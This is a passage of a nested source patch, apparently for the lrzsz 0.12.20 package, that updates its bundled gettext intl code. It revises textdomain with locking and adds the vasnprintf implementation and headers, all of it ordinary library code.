-+__libc_rwlock_define (extern, _nl_state_lock attribute_hidden)
-+
- /* Set the current default message catalog to DOMAINNAME.
- If DOMAINNAME is null, return the current default.
- If DOMAINNAME is "", reset to the default of "messages". */
- char *
--TEXTDOMAIN (domainname)
-- const char *domainname;
-+TEXTDOMAIN (const char *domainname)
- {
-- char *old;
-+ char *new_domain;
-+ char *old_domain;
-
- /* A NULL pointer requests the current setting. */
- if (domainname == NULL)
- return (char *) _nl_current_default_domain;
-
-- old = (char *) _nl_current_default_domain;
-+ __libc_rwlock_wrlock (_nl_state_lock);
-+
-+ old_domain = (char *) _nl_current_default_domain;
-
- /* If domain name is the null string set to default domain "messages". */
- if (domainname[0] == '\0'
- || strcmp (domainname, _nl_default_default_domain) == 0)
-- _nl_current_default_domain = _nl_default_default_domain;
-+ {
-+ _nl_current_default_domain = _nl_default_default_domain;
-+ new_domain = (char *) _nl_current_default_domain;
-+ }
-+ else if (strcmp (domainname, old_domain) == 0)
-+ /* This can happen and people will use it to signal that some
-+ environment variable changed. */
-+ new_domain = old_domain;
- else
- {
- /* If the following malloc fails `_nl_current_default_domain'
- will be NULL. This value will be returned and so signals we
- are out of core. */
- #if defined _LIBC || defined HAVE_STRDUP
-- _nl_current_default_domain = strdup (domainname);
-+ new_domain = strdup (domainname);
- #else
- size_t len = strlen (domainname) + 1;
-- char *cp = (char *) malloc (len);
-- if (cp != NULL)
-- memcpy (cp, domainname, len);
-- _nl_current_default_domain = cp;
-+ new_domain = (char *) malloc (len);
-+ if (new_domain != NULL)
-+ memcpy (new_domain, domainname, len);
- #endif
-+
-+ if (new_domain != NULL)
-+ _nl_current_default_domain = new_domain;
- }
-
-- if (old != _nl_default_default_domain)
-- free (old);
-+ /* We use this possibility to signal a change of the loaded catalogs
-+ since this is most likely the case and there is no other easy we
-+ to do it. Do it only when the call was successful. */
-+ if (new_domain != NULL)
-+ {
-+ ++_nl_msg_cat_cntr;
-
-- return (char *) _nl_current_default_domain;
-+ if (old_domain != new_domain && old_domain != _nl_default_default_domain)
-+ free (old_domain);
-+ }
-+
-+ __libc_rwlock_unlock (_nl_state_lock);
-+
-+ return new_domain;
- }
-
- #ifdef _LIBC
---- lrzsz-0.12.20.safe/intl/vasnprintf.c 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/vasnprintf.c 2004-09-12 14:40:34.662701424 -0400
-@@ -0,0 +1,887 @@
-+/* vsprintf with automatic memory allocation.
-+ Copyright (C) 1999, 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+/* Tell glibc's <stdio.h> to provide a prototype for snprintf().
-+ This must come before <config.h> because <config.h> may include
-+ <features.h>, and once <features.h> has been included, it's too late. */
-+#ifndef _GNU_SOURCE
-+# define _GNU_SOURCE 1
-+#endif
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+#ifndef IN_LIBINTL
-+# include <alloca.h>
-+#endif
-+
-+/* Specification. */
-+#if WIDE_CHAR_VERSION
-+# include "vasnwprintf.h"
-+#else
-+# include "vasnprintf.h"
-+#endif
-+
-+#include <stdio.h> /* snprintf(), sprintf() */
-+#include <stdlib.h> /* abort(), malloc(), realloc(), free() */
-+#include <string.h> /* memcpy(), strlen() */
-+#include <errno.h> /* errno */
-+#include <limits.h> /* CHAR_BIT */
-+#include <float.h> /* DBL_MAX_EXP, LDBL_MAX_EXP */
-+#if WIDE_CHAR_VERSION
-+# include "wprintf-parse.h"
-+#else
-+# include "printf-parse.h"
-+#endif
-+
-+/* Checked size_t computations. */
-+#include "xsize.h"
-+
-+#ifdef HAVE_WCHAR_T
-+# ifdef HAVE_WCSLEN
-+# define local_wcslen wcslen
-+# else
-+ /* Solaris 2.5.1 has wcslen() in a separate library libw.so. To avoid
-+ a dependency towards this library, here is a local substitute.
-+ Define this substitute only once, even if this file is included
-+ twice in the same compilation unit. */
-+# ifndef local_wcslen_defined
-+# define local_wcslen_defined 1
-+static size_t
-+local_wcslen (const wchar_t *s)
-+{
-+ const wchar_t *ptr;
-+
-+ for (ptr = s; *ptr != (wchar_t) 0; ptr++)
-+ ;
-+ return ptr - s;
-+}
-+# endif
-+# endif
-+#endif
-+
-+#if WIDE_CHAR_VERSION
-+# define VASNPRINTF vasnwprintf
-+# define CHAR_T wchar_t
-+# define DIRECTIVE wchar_t_directive
-+# define DIRECTIVES wchar_t_directives
-+# define PRINTF_PARSE wprintf_parse
-+# define USE_SNPRINTF 1
-+# if HAVE_DECL__SNWPRINTF
-+ /* On Windows, the function swprintf() has a different signature than
-+ on Unix; we use the _snwprintf() function instead. */
-+# define SNPRINTF _snwprintf
-+# else
-+ /* Unix. */
-+# define SNPRINTF swprintf
-+# endif
-+#else
-+# define VASNPRINTF vasnprintf
-+# define CHAR_T char
-+# define DIRECTIVE char_directive
-+# define DIRECTIVES char_directives
-+# define PRINTF_PARSE printf_parse
-+# define USE_SNPRINTF (HAVE_DECL__SNPRINTF || HAVE_SNPRINTF)
-+# if HAVE_DECL__SNPRINTF
-+ /* Windows. */
-+# define SNPRINTF _snprintf
-+# else
-+ /* Unix. */
-+# define SNPRINTF snprintf
-+# endif
-+#endif
-+
-+CHAR_T *
-+VASNPRINTF (CHAR_T *resultbuf, size_t *lengthp, const CHAR_T *format, va_list args)
-+{
-+ DIRECTIVES d;
-+ arguments a;
-+
-+ if (PRINTF_PARSE (format, &d, &a) < 0)
-+ {
-+ errno = EINVAL;
-+ return NULL;
-+ }
-+
-+#define CLEANUP() \
-+ free (d.dir); \
-+ if (a.arg) \
-+ free (a.arg);
-+
-+ if (printf_fetchargs (args, &a) < 0)
-+ {
-+ CLEANUP ();
-+ errno = EINVAL;
-+ return NULL;
-+ }
-+
-+ {
-+ size_t buf_neededlength;
-+ CHAR_T *buf;
-+ CHAR_T *buf_malloced;
-+ const CHAR_T *cp;
-+ size_t i;
-+ DIRECTIVE *dp;
-+ /* Output string accumulator. */
-+ CHAR_T *result;
-+ size_t allocated;
-+ size_t length;
-+
-+ /* Allocate a small buffer that will hold a directive passed to
-+ sprintf or snprintf. */
-+ buf_neededlength =
-+ xsum4 (7, d.max_width_length, d.max_precision_length, 6);
-+#if HAVE_ALLOCA
-+ if (buf_neededlength < 4000 / sizeof (CHAR_T))
-+ {
-+ buf = (CHAR_T *) alloca (buf_neededlength * sizeof (CHAR_T));
-+ buf_malloced = NULL;
-+ }
-+ else
-+#endif
-+ {
-+ size_t buf_memsize = xtimes (buf_neededlength, sizeof (CHAR_T));
-+ if (size_overflow_p (buf_memsize))
-+ goto out_of_memory_1;
-+ buf = (CHAR_T *) malloc (buf_memsize);
-+ if (buf == NULL)
-+ goto out_of_memory_1;
-+ buf_malloced = buf;
-+ }
-+
-+ if (resultbuf != NULL)
-+ {
-+ result = resultbuf;
-+ allocated = *lengthp;
-+ }
-+ else
-+ {
-+ result = NULL;
-+ allocated = 0;
-+ }
-+ length = 0;
-+ /* Invariants:
-+ result is either == resultbuf or == NULL or malloc-allocated.
-+ If length > 0, then result != NULL. */
-+
-+ /* Ensures that allocated >= needed. Aborts through a jump to
-+ out_of_memory if needed is SIZE_MAX or otherwise too big. */
-+#define ENSURE_ALLOCATION(needed) \
-+ if ((needed) > allocated) \
-+ { \
-+ size_t memory_size; \
-+ CHAR_T *memory; \
-+ \
-+ allocated = (allocated > 0 ? xtimes (allocated, 2) : 12); \
-+ if ((needed) > allocated) \
-+ allocated = (needed); \
-+ memory_size = xtimes (allocated, sizeof (CHAR_T)); \
-+ if (size_overflow_p (memory_size)) \
-+ goto out_of_memory; \
-+ if (result == resultbuf || result == NULL) \
-+ memory = (CHAR_T *) malloc (memory_size); \
-+ else \
-+ memory = (CHAR_T *) realloc (result, memory_size); \
-+ if (memory == NULL) \
-+ goto out_of_memory; \
-+ if (result == resultbuf && length > 0) \
-+ memcpy (memory, result, length * sizeof (CHAR_T)); \
-+ result = memory; \
-+ }
-+
-+ for (cp = format, i = 0, dp = &d.dir[0]; ; cp = dp->dir_end, i++, dp++)
-+ {
-+ if (cp != dp->dir_start)
-+ {
-+ size_t n = dp->dir_start - cp;
-+ size_t augmented_length = xsum (length, n);
-+
-+ ENSURE_ALLOCATION (augmented_length);
-+ memcpy (result + length, cp, n * sizeof (CHAR_T));
-+ length = augmented_length;
-+ }
-+ if (i == d.count)
-+ break;
-+
-+ /* Execute a single directive. */
-+ if (dp->conversion == '%')
-+ {
-+ size_t augmented_length;
-+
-+ if (!(dp->arg_index == ARG_NONE))
-+ abort ();
-+ augmented_length = xsum (length, 1);
-+ ENSURE_ALLOCATION (augmented_length);
-+ result[length] = '%';
-+ length = augmented_length;
-+ }
-+ else
-+ {
-+ if (!(dp->arg_index != ARG_NONE))
-+ abort ();
-+
-+ if (dp->conversion == 'n')
-+ {
-+ switch (a.arg[dp->arg_index].type)
-+ {
-+ case TYPE_COUNT_SCHAR_POINTER:
-+ *a.arg[dp->arg_index].a.a_count_schar_pointer = length;
-+ break;
-+ case TYPE_COUNT_SHORT_POINTER:
-+ *a.arg[dp->arg_index].a.a_count_short_pointer = length;
-+ break;
-+ case TYPE_COUNT_INT_POINTER:
-+ *a.arg[dp->arg_index].a.a_count_int_pointer = length;
-+ break;
-+ case TYPE_COUNT_LONGINT_POINTER:
-+ *a.arg[dp->arg_index].a.a_count_longint_pointer = length;
-+ break;
-+#ifdef HAVE_LONG_LONG
-+ case TYPE_COUNT_LONGLONGINT_POINTER:
-+ *a.arg[dp->arg_index].a.a_count_longlongint_pointer = length;
-+ break;
-+#endif
-+ default:
-+ abort ();
-+ }
-+ }
-+ else
-+ {
-+ arg_type type = a.arg[dp->arg_index].type;
-+ CHAR_T *p;
-+ unsigned int prefix_count;
-+ int prefixes[2];
-+#if !USE_SNPRINTF
-+ size_t tmp_length;
-+ CHAR_T tmpbuf[700];
-+ CHAR_T *tmp;
-+
-+ /* Allocate a temporary buffer of sufficient size for calling
-+ sprintf. */
-+ {
-+ size_t width;
-+ size_t precision;
-+
-+ width = 0;
-+ if (dp->width_start != dp->width_end)
-+ {
-+ if (dp->width_arg_index != ARG_NONE)
-+ {
-+ int arg;
-+
-+ if (!(a.arg[dp->width_arg_index].type == TYPE_INT))
-+ abort ();
-+ arg = a.arg[dp->width_arg_index].a.a_int;
-+ width = (arg < 0 ? (unsigned int) (-arg) : arg);
-+ }
-+ else
-+ {
-+ const CHAR_T *digitp = dp->width_start;
-+
-+ do
-+ width = xsum (xtimes (width, 10), *digitp++ - '0');
-+ while (digitp != dp->width_end);
-+ }
-+ }
-+
-+ precision = 6;
-+ if (dp->precision_start != dp->precision_end)
-+ {
-+ if (dp->precision_arg_index != ARG_NONE)
-+ {
-+ int arg;
-+
-+ if (!(a.arg[dp->precision_arg_index].type == TYPE_INT))
-+ abort ();
-+ arg = a.arg[dp->precision_arg_index].a.a_int;
-+ precision = (arg < 0 ? 0 : arg);
-+ }
-+ else
-+ {
-+ const CHAR_T *digitp = dp->precision_start + 1;
-+
-+ precision = 0;
-+ do
-+ precision = xsum (xtimes (precision, 10), *digitp++ - '0');
-+ while (digitp != dp->precision_end);
-+ }
-+ }
-+
-+ switch (dp->conversion)
-+ {
-+
-+ case 'd': case 'i': case 'u':
-+# ifdef HAVE_LONG_LONG
-+ if (type == TYPE_LONGLONGINT || type == TYPE_ULONGLONGINT)
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned long long) * CHAR_BIT
-+ * 0.30103 /* binary -> decimal */
-+ * 2 /* estimate for FLAG_GROUP */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 1; /* account for leading sign */
-+ else
-+# endif
-+ if (type == TYPE_LONGINT || type == TYPE_ULONGINT)
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned long) * CHAR_BIT
-+ * 0.30103 /* binary -> decimal */
-+ * 2 /* estimate for FLAG_GROUP */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 1; /* account for leading sign */
-+ else
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned int) * CHAR_BIT
-+ * 0.30103 /* binary -> decimal */
-+ * 2 /* estimate for FLAG_GROUP */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 1; /* account for leading sign */
-+ break;
-+
-+ case 'o':
-+# ifdef HAVE_LONG_LONG
-+ if (type == TYPE_LONGLONGINT || type == TYPE_ULONGLONGINT)
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned long long) * CHAR_BIT
-+ * 0.333334 /* binary -> octal */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 1; /* account for leading sign */
-+ else
-+# endif
-+ if (type == TYPE_LONGINT || type == TYPE_ULONGINT)
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned long) * CHAR_BIT
-+ * 0.333334 /* binary -> octal */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 1; /* account for leading sign */
-+ else
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned int) * CHAR_BIT
-+ * 0.333334 /* binary -> octal */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 1; /* account for leading sign */
-+ break;
-+
-+ case 'x': case 'X':
-+# ifdef HAVE_LONG_LONG
-+ if (type == TYPE_LONGLONGINT || type == TYPE_ULONGLONGINT)
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned long long) * CHAR_BIT
-+ * 0.25 /* binary -> hexadecimal */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 2; /* account for leading sign or alternate form */
-+ else
-+# endif
-+ if (type == TYPE_LONGINT || type == TYPE_ULONGINT)
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned long) * CHAR_BIT
-+ * 0.25 /* binary -> hexadecimal */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 2; /* account for leading sign or alternate form */
-+ else
-+ tmp_length =
-+ (unsigned int) (sizeof (unsigned int) * CHAR_BIT
-+ * 0.25 /* binary -> hexadecimal */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 2; /* account for leading sign or alternate form */
-+ break;
-+
-+ case 'f': case 'F':
-+# ifdef HAVE_LONG_DOUBLE
-+ if (type == TYPE_LONGDOUBLE)
-+ tmp_length =
-+ (unsigned int) (LDBL_MAX_EXP
-+ * 0.30103 /* binary -> decimal */
-+ * 2 /* estimate for FLAG_GROUP */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 10; /* sign, decimal point etc. */
-+ else
-+# endif
-+ tmp_length =
-+ (unsigned int) (DBL_MAX_EXP
-+ * 0.30103 /* binary -> decimal */
-+ * 2 /* estimate for FLAG_GROUP */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 10; /* sign, decimal point etc. */
-+ tmp_length = xsum (tmp_length, precision);
-+ break;
-+
-+ case 'e': case 'E': case 'g': case 'G':
-+ case 'a': case 'A':
-+ tmp_length =
-+ 12; /* sign, decimal point, exponent etc. */
-+ tmp_length = xsum (tmp_length, precision);
-+ break;
-+
-+ case 'c':
-+# if defined HAVE_WINT_T && !WIDE_CHAR_VERSION
-+ if (type == TYPE_WIDE_CHAR)
-+ tmp_length = MB_CUR_MAX;
-+ else
-+# endif
-+ tmp_length = 1;
-+ break;
-+
-+ case 's':
-+# ifdef HAVE_WCHAR_T
-+ if (type == TYPE_WIDE_STRING)
-+ {
-+ tmp_length =
-+ local_wcslen (a.arg[dp->arg_index].a.a_wide_string);
-+
-+# if !WIDE_CHAR_VERSION
-+ tmp_length = xtimes (tmp_length, MB_CUR_MAX);
-+# endif
-+ }
-+ else
-+# endif
-+ tmp_length = strlen (a.arg[dp->arg_index].a.a_string);
-+ break;
-+
-+ case 'p':
-+ tmp_length =
-+ (unsigned int) (sizeof (void *) * CHAR_BIT
-+ * 0.25 /* binary -> hexadecimal */
-+ )
-+ + 1 /* turn floor into ceil */
-+ + 2; /* account for leading 0x */
-+ break;
-+
-+ default:
-+ abort ();
-+ }
-+
-+ if (tmp_length < width)
-+ tmp_length = width;
-+
-+ tmp_length = xsum (tmp_length, 1); /* account for trailing NUL */
-+ }
-+
-+ if (tmp_length <= sizeof (tmpbuf) / sizeof (CHAR_T))
-+ tmp = tmpbuf;
-+ else
-+ {
-+ size_t tmp_memsize = xtimes (tmp_length, sizeof (CHAR_T));
-+
-+ if (size_overflow_p (tmp_memsize))
-+ /* Overflow, would lead to out of memory. */
-+ goto out_of_memory;
-+ tmp = (CHAR_T *) malloc (tmp_memsize);
-+ if (tmp == NULL)
-+ /* Out of memory. */
-+ goto out_of_memory;
-+ }
-+#endif
-+
-+ /* Construct the format string for calling snprintf or
-+ sprintf. */
-+ p = buf;
-+ *p++ = '%';
-+ if (dp->flags & FLAG_GROUP)
-+ *p++ = '\'';
-+ if (dp->flags & FLAG_LEFT)
-+ *p++ = '-';
-+ if (dp->flags & FLAG_SHOWSIGN)
-+ *p++ = '+';
-+ if (dp->flags & FLAG_SPACE)
-+ *p++ = ' ';
-+ if (dp->flags & FLAG_ALT)
-+ *p++ = '#';
-+ if (dp->flags & FLAG_ZERO)
-+ *p++ = '0';
-+ if (dp->width_start != dp->width_end)
-+ {
-+ size_t n = dp->width_end - dp->width_start;
-+ memcpy (p, dp->width_start, n * sizeof (CHAR_T));
-+ p += n;
-+ }
-+ if (dp->precision_start != dp->precision_end)
-+ {
-+ size_t n = dp->precision_end - dp->precision_start;
-+ memcpy (p, dp->precision_start, n * sizeof (CHAR_T));
-+ p += n;
-+ }
-+
-+ switch (type)
-+ {
-+#ifdef HAVE_LONG_LONG
-+ case TYPE_LONGLONGINT:
-+ case TYPE_ULONGLONGINT:
-+ *p++ = 'l';
-+ /*FALLTHROUGH*/
-+#endif
-+ case TYPE_LONGINT:
-+ case TYPE_ULONGINT:
-+#ifdef HAVE_WINT_T
-+ case TYPE_WIDE_CHAR:
-+#endif
-+#ifdef HAVE_WCHAR_T
-+ case TYPE_WIDE_STRING:
-+#endif
-+ *p++ = 'l';
-+ break;
-+#ifdef HAVE_LONG_DOUBLE
-+ case TYPE_LONGDOUBLE:
-+ *p++ = 'L';
-+ break;
-+#endif
-+ default:
-+ break;
-+ }
-+ *p = dp->conversion;
-+#if USE_SNPRINTF
-+ p[1] = '%';
-+ p[2] = 'n';
-+ p[3] = '\0';
-+#else
-+ p[1] = '\0';
-+#endif
-+
-+ /* Construct the arguments for calling snprintf or sprintf. */
-+ prefix_count = 0;
-+ if (dp->width_arg_index != ARG_NONE)
-+ {
-+ if (!(a.arg[dp->width_arg_index].type == TYPE_INT))
-+ abort ();
-+ prefixes[prefix_count++] = a.arg[dp->width_arg_index].a.a_int;
-+ }
-+ if (dp->precision_arg_index != ARG_NONE)
-+ {
-+ if (!(a.arg[dp->precision_arg_index].type == TYPE_INT))
-+ abort ();
-+ prefixes[prefix_count++] = a.arg[dp->precision_arg_index].a.a_int;
-+ }
-+
-+#if USE_SNPRINTF
-+ /* Prepare checking whether snprintf returns the count
-+ via %n. */
-+ ENSURE_ALLOCATION (xsum (length, 1));
-+ result[length] = '\0';
-+#endif
-+
-+ for (;;)
-+ {
-+ size_t maxlen;
-+ int count;
-+ int retcount;
-+
-+ maxlen = allocated - length;
-+ count = -1;
-+ retcount = 0;
-+
-+#if USE_SNPRINTF
-+# define SNPRINTF_BUF(arg) \
-+ switch (prefix_count) \
-+ { \
-+ case 0: \
-+ retcount = SNPRINTF (result + length, maxlen, buf, \
-+ arg, &count); \
-+ break; \
-+ case 1: \
-+ retcount = SNPRINTF (result + length, maxlen, buf, \
-+ prefixes[0], arg, &count); \
-+ break; \
-+ case 2: \
-+ retcount = SNPRINTF (result + length, maxlen, buf, \
-+ prefixes[0], prefixes[1], arg, \
-+ &count); \
-+ break; \
-+ default: \
-+ abort (); \
-+ }
-+#else
-+# define SNPRINTF_BUF(arg) \
-+ switch (prefix_count) \
-+ { \
-+ case 0: \
-+ count = sprintf (tmp, buf, arg); \
-+ break; \
-+ case 1: \
-+ count = sprintf (tmp, buf, prefixes[0], arg); \
-+ break; \
-+ case 2: \
-+ count = sprintf (tmp, buf, prefixes[0], prefixes[1],\
-+ arg); \
-+ break; \
-+ default: \
-+ abort (); \
-+ }
-+#endif
-+
-+ switch (type)
-+ {
-+ case TYPE_SCHAR:
-+ {
-+ int arg = a.arg[dp->arg_index].a.a_schar;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_UCHAR:
-+ {
-+ unsigned int arg = a.arg[dp->arg_index].a.a_uchar;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_SHORT:
-+ {
-+ int arg = a.arg[dp->arg_index].a.a_short;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_USHORT:
-+ {
-+ unsigned int arg = a.arg[dp->arg_index].a.a_ushort;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_INT:
-+ {
-+ int arg = a.arg[dp->arg_index].a.a_int;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_UINT:
-+ {
-+ unsigned int arg = a.arg[dp->arg_index].a.a_uint;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_LONGINT:
-+ {
-+ long int arg = a.arg[dp->arg_index].a.a_longint;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_ULONGINT:
-+ {
-+ unsigned long int arg = a.arg[dp->arg_index].a.a_ulongint;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#ifdef HAVE_LONG_LONG
-+ case TYPE_LONGLONGINT:
-+ {
-+ long long int arg = a.arg[dp->arg_index].a.a_longlongint;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ case TYPE_ULONGLONGINT:
-+ {
-+ unsigned long long int arg = a.arg[dp->arg_index].a.a_ulonglongint;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#endif
-+ case TYPE_DOUBLE:
-+ {
-+ double arg = a.arg[dp->arg_index].a.a_double;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#ifdef HAVE_LONG_DOUBLE
-+ case TYPE_LONGDOUBLE:
-+ {
-+ long double arg = a.arg[dp->arg_index].a.a_longdouble;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#endif
-+ case TYPE_CHAR:
-+ {
-+ int arg = a.arg[dp->arg_index].a.a_char;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#ifdef HAVE_WINT_T
-+ case TYPE_WIDE_CHAR:
-+ {
-+ wint_t arg = a.arg[dp->arg_index].a.a_wide_char;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#endif
-+ case TYPE_STRING:
-+ {
-+ const char *arg = a.arg[dp->arg_index].a.a_string;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#ifdef HAVE_WCHAR_T
-+ case TYPE_WIDE_STRING:
-+ {
-+ const wchar_t *arg = a.arg[dp->arg_index].a.a_wide_string;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+#endif
-+ case TYPE_POINTER:
-+ {
-+ void *arg = a.arg[dp->arg_index].a.a_pointer;
-+ SNPRINTF_BUF (arg);
-+ }
-+ break;
-+ default:
-+ abort ();
-+ }
-+
-+#if USE_SNPRINTF
-+ /* Portability: Not all implementations of snprintf()
-+ are ISO C 99 compliant. Determine the number of
-+ bytes that snprintf() has produced or would have
-+ produced. */
-+ if (count >= 0)
-+ {
-+ /* Verify that snprintf() has NUL-terminated its
-+ result. */
-+ if (count < maxlen && result[length + count] != '\0')
-+ abort ();
-+ /* Portability hack. */
-+ if (retcount > count)
-+ count = retcount;
-+ }
-+ else
-+ {
-+ /* snprintf() doesn't understand the '%n'
-+ directive. */
-+ if (p[1] != '\0')
-+ {
-+ /* Don't use the '%n' directive; instead, look
-+ at the snprintf() return value. */
-+ p[1] = '\0';
-+ continue;
-+ }
-+ else
-+ {
-+ /* Look at the snprintf() return value. */
-+ if (retcount < 0)
-+ {
-+ /* HP-UX 10.20 snprintf() is doubly deficient:
-+ It doesn't understand the '%n' directive,
-+ *and* it returns -1 (rather than the length
-+ that would have been required) when the
-+ buffer is too small. */
-+ size_t bigger_need =
-+ xsum (xtimes (allocated, 2), 12);
-+ ENSURE_ALLOCATION (bigger_need);
-+ continue;
-+ }
-+ else
-+ count = retcount;
-+ }
-+ }
-+#endif
-+
-+ /* Attempt to handle failure. */
-+ if (count < 0)
-+ {
-+ if (!(result == resultbuf || result == NULL))
-+ free (result);
-+ if (buf_malloced != NULL)
-+ free (buf_malloced);
-+ CLEANUP ();
-+ errno = EINVAL;
-+ return NULL;
-+ }
-+
-+#if !USE_SNPRINTF
-+ if (count >= tmp_length)
-+ /* tmp_length was incorrectly calculated - fix the
-+ code above! */
-+ abort ();
-+#endif
-+
-+ /* Make room for the result. */
-+ if (count >= maxlen)
-+ {
-+ /* Need at least count bytes. But allocate
-+ proportionally, to avoid looping eternally if
-+ snprintf() reports a too small count. */
-+ size_t n =
-+ xmax (xsum (length, count), xtimes (allocated, 2));
-+
-+ ENSURE_ALLOCATION (n);
-+#if USE_SNPRINTF
-+ continue;
-+#endif
-+ }
-+
-+#if USE_SNPRINTF
-+ /* The snprintf() result did fit. */
-+#else
-+ /* Append the sprintf() result. */
-+ memcpy (result + length, tmp, count * sizeof (CHAR_T));
-+ if (tmp != tmpbuf)
-+ free (tmp);
-+#endif
-+
-+ length += count;
-+ break;
-+ }
-+ }
-+ }
-+ }
-+
-+ /* Add the final NUL. */
-+ ENSURE_ALLOCATION (xsum (length, 1));
-+ result[length] = '\0';
-+
-+ if (result != resultbuf && length + 1 < allocated)
-+ {
-+ /* Shrink the allocated memory if possible. */
-+ CHAR_T *memory;
-+
-+ memory = (CHAR_T *) realloc (result, (length + 1) * sizeof (CHAR_T));
-+ if (memory != NULL)
-+ result = memory;
-+ }
-+
-+ if (buf_malloced != NULL)
-+ free (buf_malloced);
-+ CLEANUP ();
-+ *lengthp = length;
-+ return result;
-+
-+ out_of_memory:
-+ if (!(result == resultbuf || result == NULL))
-+ free (result);
-+ if (buf_malloced != NULL)
-+ free (buf_malloced);
-+ out_of_memory_1:
-+ CLEANUP ();
-+ errno = ENOMEM;
-+ return NULL;
-+ }
-+}
-+
-+#undef SNPRINTF
-+#undef USE_SNPRINTF
-+#undef PRINTF_PARSE
-+#undef DIRECTIVES
-+#undef DIRECTIVE
-+#undef CHAR_T
-+#undef VASNPRINTF
---- lrzsz-0.12.20.safe/intl/vasnprintf.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/vasnprintf.h 2004-09-12 14:40:34.667700664 -0400
-@@ -0,0 +1,61 @@
-+/* vsprintf with automatic memory allocation.
-+ Copyright (C) 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
-+ by the Free Software Foundation; either version 2, or (at your option)
-+ any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Library General Public License for more details.
-+
-+ You should have received a copy of the GNU Library General Public
-+ License along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ USA. */
-+
-+#ifndef _VASNPRINTF_H
-+#define _VASNPRINTF_H
-+
-+/* Get va_list. */
-+#include <stdarg.h>
-+
-+/* Get size_t. */
-+#include <stddef.h>
-+
-+#ifndef __attribute__
-+/* This feature is available in gcc versions 2.5 and later. */
-+# if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) || __STRICT_ANSI__
-+# define __attribute__(Spec) /* empty */
-+# endif
-+/* The __-protected variants of `format' and `printf' attributes
-+ are accepted by gcc versions 2.6.4 (effectively 2.7) and later. */
-+# if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 7)
-+# define __format__ format
-+# define __printf__ printf
-+# endif
-+#endif
-+
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-+
-+/* Write formatted output to a string dynamically allocated with malloc().
-+ You can pass a preallocated buffer for the result in RESULTBUF and its
-+ size in *LENGTHP; otherwise you pass RESULTBUF = NULL.
-+ If successful, return the address of the string (this may be = RESULTBUF
-+ if no dynamic memory allocation was necessary) and set *LENGTHP to the
-+ number of resulting bytes, excluding the trailing NUL. Upon error, set
-+ errno and return NULL. */
-+extern char * asnprintf (char *resultbuf, size_t *lengthp, const char *format, ...)
-+ __attribute__ ((__format__ (__printf__, 3, 4)));
-+extern char * vasnprintf (char *resultbuf, size_t *lengthp, const char *format, va_list args)
-+ __attribute__ ((__format__ (__printf__, 3, 0)));
-+
-+#ifdef __cplusplus
-+}
-+#endif
-+
-+#endif /* _VASNPRINTF_H */
---- lrzsz-0.12.20.safe/intl/vasnwprintf.h 1969-12-31 19:00:00.000000000 -0500
-+++ lrzsz-0.12.20/intl/vasnwprintf.h 2004-09-12 14:40:34.673699752 -0400
-@@ -0,0 +1,46 @@
-+/* vswprintf with automatic memory allocation.
-+ Copyright (C) 2002-2003 Free Software Foundation, Inc.
-+
-+ This program is free software; you can redistribute it and/or modify it
-+ under the terms of the GNU Library General Public License as published
